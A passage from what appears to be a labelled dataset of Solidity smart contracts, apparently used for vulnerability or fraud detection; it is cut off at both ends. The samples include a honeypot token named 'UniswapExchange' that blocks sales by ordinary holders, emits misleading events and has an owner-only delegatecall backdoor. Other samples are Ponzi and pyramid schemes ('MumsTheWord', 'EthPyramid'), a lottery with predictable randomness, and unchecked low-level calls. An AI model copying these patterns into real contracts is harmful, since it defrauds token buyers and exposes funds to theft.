function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ERC20Token is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function ERC20Token() public {
symbol = "FQZ";
name = "fanqizha";
decimals = 18;
_totalSupply = 1000 * (10**8) * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,568 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract AddressesFilterFeature is Ownable {}
contract ERC20Basic {}
contract BasicToken is ERC20Basic {}
contract StandardToken is ERC20, BasicToken {}
contract MintableToken is AddressesFilterFeature, StandardToken {}
contract Token is MintableToken {
function mint(address, uint256) public returns (bool);
}
contract CrowdsaleWPTByAuction is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
Token public minterContract;
uint256 public ethRaised;
mapping (address => uint256) private _balances;
address[] public beneficiaryAddresses;
uint256 public cap;
uint256 public bonusCap;
uint256 public openingTime;
uint256 public closingTime;
uint public minInvestmentValue;
bool public checksOn;
uint256 public gasAmount;
function setMinter(address _minterAddr) public onlyOwner {
minterContract = Token(_minterAddr);
}
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
event TokensTransfer(
address indexed _from,
address indexed _to,
uint256 amount,
bool isDone
);
constructor () public {
wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46;
openingTime = 1537135200;
closingTime = 1538344800;
cap = 0;
bonusCap = 1000000000000000000000000;
minInvestmentValue = 0.02 ether;
ethRaised = 0;
checksOn = true;
gasAmount = 25000;
}
function closeRound() public onlyOwner {
closingTime = block.timestamp + 1;
}
function setToken(ERC20 _token) public onlyOwner {
token = _token;
}
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function changeMinInvest(uint256 newMinValue) public onlyOwner {
minInvestmentValue = newMinValue;
}
function setChecksOn(bool _checksOn) public onlyOwner {
checksOn = _checksOn;
}
function setGasAmount(uint256 _gasAmount) public onlyOwner {
gasAmount = _gasAmount;
}
function setCap(uint256 _newCap) public onlyOwner {
cap = _newCap;
}
function setBonusCap(uint256 _newBonusCap) public onlyOwner {
bonusCap = _newBonusCap;
}
function addInvestor(address _beneficiary, uint8 amountOfinvestedEth) public onlyOwner {
_balances[_beneficiary] = amountOfinvestedEth;
beneficiaryAddresses.push(_beneficiary);
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function hasOpened() public view returns (bool) {
return (openingTime < block.timestamp && block.timestamp < closingTime);
}
function startNewRound(address _wallet, ERC20 _token, uint256 _cap, uint256 _bonusCap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner {
require(!hasOpened());
wallet = _wallet;
token = _token;
cap = _cap;
bonusCap = _bonusCap;
openingTime = _openingTime;
closingTime = _closingTime;
ethRaised = 0;
}
function payAllBonuses() payable public onlyOwner {
require(hasClosed());
uint256 allFunds = cap.add(bonusCap);
uint256 priceWPTperETH = allFunds.div(ethRaised);
uint beneficiaryCount = beneficiaryAddresses.length;
for (uint i = 0; i < beneficiaryCount; i++) {
minterContract.mint(beneficiaryAddresses[i], _balances[beneficiaryAddresses[i]].mul(priceWPTperETH));
delete _balances[beneficiaryAddresses[i]];
}
delete beneficiaryAddresses;
cap = 0;
bonusCap = 0;
}
function () payable external {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) payable public{
uint256 weiAmount = msg.value;
if (checksOn) {
_preValidatePurchase(_beneficiary, weiAmount);
}
_balances[_beneficiary] = _balances[_beneficiary].add(weiAmount);
beneficiaryAddresses.push(_beneficiary);
ethRaised = ethRaised.add(weiAmount);
_forwardFunds();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
view
onlyWhileOpen
{
require(_beneficiary != address(0));
require(_weiAmount != 0 && _weiAmount > minInvestmentValue);
}
function _forwardFunds() internal {
bool isTransferDone = wallet.call.value(msg.value).gas(gasAmount)();
emit TokensTransfer (
msg.sender,
wallet,
msg.value,
isTransferDone
);
}
}
contract CrowdsaleWPTByRounds is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
Token public minterContract;
uint256 public rate;
uint256 public tokensRaised;
uint256 public cap;
uint256 public openingTime;
uint256 public closingTime;
uint public minInvestmentValue;
bool public checksOn;
uint256 public gasAmount;
function setMinter(address _minterAddr) public onlyOwner {
minterContract = Token(_minterAddr);
}
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
event TokensTransfer(
address indexed _from,
address indexed _to,
uint256 amount,
bool isDone
);
constructor () public {
rate = 400;
wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46;
cap = 400000000000000000000000;
openingTime = 1534558186;
closingTime = 1535320800;
minInvestmentValue = 0.02 ether;
checksOn = true;
gasAmount = 25000;
}
function capReached() public view returns (bool) {
return tokensRaised >= cap;
}
function changeRate(uint256 newRate) public onlyOwner {
rate = newRate;
}
function closeRound() public onlyOwner {
closingTime = block.timestamp + 1;
}
function setToken(ERC20 _token) public onlyOwner {
token = _token;
}
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function changeMinInvest(uint256 newMinValue) public onlyOwner {
minInvestmentValue = newMinValue;
}
function setChecksOn(bool _checksOn) public onlyOwner {
checksOn = _checksOn;
}
function setGasAmount(uint256 _gasAmount) public onlyOwner {
gasAmount = _gasAmount;
}
function setCap(uint256 _newCap) public onlyOwner {
cap = _newCap;
}
function startNewRound(uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner {
require(!hasOpened());
rate = _rate;
wallet = _wallet;
token = _token;
cap = _cap;
openingTime = _openingTime;
closingTime = _closingTime;
tokensRaised = 0;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function hasOpened() public view returns (bool) {
return (openingTime < block.timestamp && block.timestamp < closingTime);
}
function () payable external {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) payable public{
uint256 weiAmount = msg.value;
if (checksOn) {
_preValidatePurchase(_beneficiary, weiAmount);
}
uint256 tokens = _getTokenAmount(weiAmount);
tokensRaised = tokensRaised.add(tokens);
minterContract.mint(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
view
onlyWhileOpen
{
require(_beneficiary != address(0));
require(_weiAmount != 0 && _weiAmount > minInvestmentValue);
require(tokensRaised.add(_getTokenAmount(_weiAmount)) <= cap);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
bool isTransferDone = wallet.call.value(msg.value).gas(gasAmount)();
emit TokensTransfer (
msg.sender,
wallet,
msg.value,
isTransferDone
);
}
} | 0 | 64 |
pragma solidity ^0.4.24;
contract Game01 {
address public teamAddress;
address[] public players;
uint public sumOfPlayers;
uint public lowestOffer;
uint public blockNumber;
bytes32 public blcokHash;
uint public numberOfBlcokHash;
uint public winerIndex;
address public winer;
function produceWiner() private {
blcokHash = blockhash(blockNumber);
numberOfBlcokHash = uint(blcokHash);
require(numberOfBlcokHash != 0);
winerIndex = numberOfBlcokHash%sumOfPlayers;
winer = players[winerIndex];
uint tempTeam = (address(this).balance/100)*10;
teamAddress.transfer(tempTeam);
uint tempBonus = address(this).balance - tempTeam;
winer.transfer(tempBonus);
}
function goWiner() public {
produceWiner();
}
function betYours() public payable OnlyBet() {
blcokHash = blockhash(blockNumber);
numberOfBlcokHash = uint(blcokHash);
require(numberOfBlcokHash == 0);
sumOfPlayers = players.push(msg.sender);
}
modifier OnlyBet() {
require(msg.value >= lowestOffer);
_;
}
constructor(uint _blockNumber) public payable {
teamAddress = msg.sender;
sumOfPlayers = 1;
players.push(msg.sender);
lowestOffer = 10000000000000000;
blockNumber = _blockNumber;
}
function getTeamAddress() public view returns(address addr) {
addr = teamAddress;
}
function getLowPrice() public view returns(uint low) {
low = lowestOffer;
}
function getPlayerAddress(uint index) public view returns(address addr) {
addr = players[index];
}
function getSumOfPlayers() public view returns(uint sum) {
sum = sumOfPlayers;
}
function getBlockNumber() public view returns(uint num) {
num = blockNumber;
}
function getBalances() public view returns(uint balace) {
balace = address(this).balance;
}
} | 1 | 3,884 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,062 |
pragma solidity ^0.4.11;
contract MumsTheWord {
uint32 public lastCreditorPayedOut;
uint public lastTimeOfNewCredit;
uint public jackpot;
address[] public creditorAddresses;
uint[] public creditorAmounts;
address public owner;
uint8 public round;
uint constant EIGHT_HOURS = 28800;
uint constant MIN_AMOUNT = 10 ** 16;
function MumsTheWord() {
jackpot = msg.value;
owner = msg.sender;
lastTimeOfNewCredit = now;
}
function enter() payable returns (bool) {
uint amount = msg.value;
if (lastTimeOfNewCredit + EIGHT_HOURS > now) {
msg.sender.transfer(amount);
creditorAddresses[creditorAddresses.length - 1].transfer(jackpot);
owner.transfer(this.balance);
lastCreditorPayedOut = 0;
lastTimeOfNewCredit = now;
jackpot = 0;
creditorAddresses = new address[](0);
creditorAmounts = new uint[](0);
round += 1;
return false;
} else {
if (amount >= MIN_AMOUNT) {
lastTimeOfNewCredit = now;
creditorAddresses.push(msg.sender);
creditorAmounts.push(amount * 110 / 100);
owner.transfer(amount * 5/100);
if (jackpot < 100 ether) {
jackpot += amount * 5/100;
}
if (creditorAmounts[lastCreditorPayedOut] <= address(this).balance - jackpot) {
creditorAddresses[lastCreditorPayedOut].transfer(creditorAmounts[lastCreditorPayedOut]);
lastCreditorPayedOut += 1;
}
return true;
} else {
msg.sender.transfer(amount);
return false;
}
}
}
function() payable {
enter();
}
function totalDebt() returns (uint debt) {
for(uint i=lastCreditorPayedOut; i<creditorAmounts.length; i++){
debt += creditorAmounts[i];
}
}
function totalPayedOut() returns (uint payout) {
for(uint i=0; i<lastCreditorPayedOut; i++){
payout += creditorAmounts[i];
}
}
function raiseJackpot() payable {
jackpot += msg.value;
}
function getCreditorAddresses() returns (address[]) {
return creditorAddresses;
}
function getCreditorAmounts() returns (uint[]) {
return creditorAmounts;
}
} | 0 | 492 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CellBlocksToken is EIP20Interface, Ownable {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name;
uint8 public decimals;
string public symbol;
function CellBlocksToken() public {
balances[msg.sender] = (10**26);
totalSupply = (10**26);
name = "CellBlocks";
decimals = 18;
symbol = "CLBK";
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
if (totalSupply > 33*(10**24) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(msg.sender, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
if (totalSupply > 33*(10**24) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(_from, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function halfPercent(uint _value) private pure returns(uint amount) {
if (_value > 0) {
uint temp = SafeMath.mul(_value, 5);
amount = SafeMath.div(temp, 1000);
if (amount == 0) {
amount = 1;
}
}
else {
amount = 0;
}
return;
}
function burn(address burner, uint256 _value) public {
require(_value <= balances[burner]);
if (_value > 0) {
balances[burner] = SafeMath.sub(balances[burner], _value);
totalSupply = SafeMath.sub(totalSupply, _value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
event Burn(address indexed burner, uint256 value);
} | 0 | 379 |
pragma solidity ^0.4.18;
contract EthPyramid {
address factory;
uint256 constant scaleFactor = 0x10000000000000000;
int constant crr_n = 1;
int constant crr_d = 2;
int constant price_coeff = -0x296ABF784A358468C;
string constant public name = "EthPyramid";
string constant public symbol = "EPY";
uint8 constant public decimals = 18;
mapping(address => uint256) public tokenBalance;
mapping(address => int256) public payouts;
uint256 public totalSupply;
int256 totalPayouts;
uint256 earningsPerToken;
uint256 public contractBalance;
function EthPyramid(address _factory) public {
factory = _factory;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return tokenBalance[_owner];
}
function withdraw() public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
contractBalance = sub(contractBalance, balance);
var withdrawalFee = div(balance,5);
factory.transfer(withdrawalFee);
var balanceMinusWithdrawalFee = sub(balance,withdrawalFee);
msg.sender.transfer(balanceMinusWithdrawalFee);
}
function reinvestDividends() public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
uint value_ = (uint) (balance);
if (value_ < 0.000001 ether || value_ > 1000000 ether)
revert();
var sender = msg.sender;
var res = reserve() - balance;
var fee = div(value_, 10);
var numEther = value_ - fee;
var numTokens = calculateDividendTokens(numEther, balance);
var buyerFee = fee * scaleFactor;
if (totalSupply > 0) {
var bonusCoEff =
(scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
var rewardPerShare = holderReward / totalSupply;
earningsPerToken += rewardPerShare;
}
totalSupply = add(totalSupply, numTokens);
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sellMyTokens() public {
var balance = balanceOf(msg.sender);
sell(balance);
}
function getMeOutOfHere() public {
sellMyTokens();
withdraw();
}
function fund() payable public {
if (msg.value > 0.000001 ether) {
var factoryFee = div(msg.value,5);
factory.transfer(factoryFee);
var fundedAmount = sub(msg.value,factoryFee);
contractBalance = add(contractBalance, fundedAmount);
buy();
} else {
revert();
}
}
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
function sellPrice() public constant returns (uint) {
var eth = getEtherForTokens(1 finney);
var fee = div(eth, 10);
return eth - fee;
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerToken * tokenBalance[_owner]) - payouts[_owner]) / scaleFactor;
}
function withdrawOld(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
contractBalance = sub(contractBalance, balance);
var withdrawalFee = div(balance,5);
factory.transfer(withdrawalFee);
var balanceMinusWithdrawalFee = sub(balance,withdrawalFee);
to.transfer(balanceMinusWithdrawalFee);
}
function balance() internal constant returns (uint256 amount) {
return contractBalance - msg.value;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
var fee = div(msg.value, 10);
var numEther = msg.value - fee;
var numTokens = getTokensForEther(numEther);
var buyerFee = fee * scaleFactor;
if (totalSupply > 0) {
var bonusCoEff =
(scaleFactor - (reserve() + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
var rewardPerShare = holderReward / totalSupply;
earningsPerToken += rewardPerShare;
}
totalSupply = add(totalSupply, numTokens);
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sell(uint256 amount) internal {
var numEthersBeforeFee = getEtherForTokens(amount);
var fee = div(numEthersBeforeFee, 10);
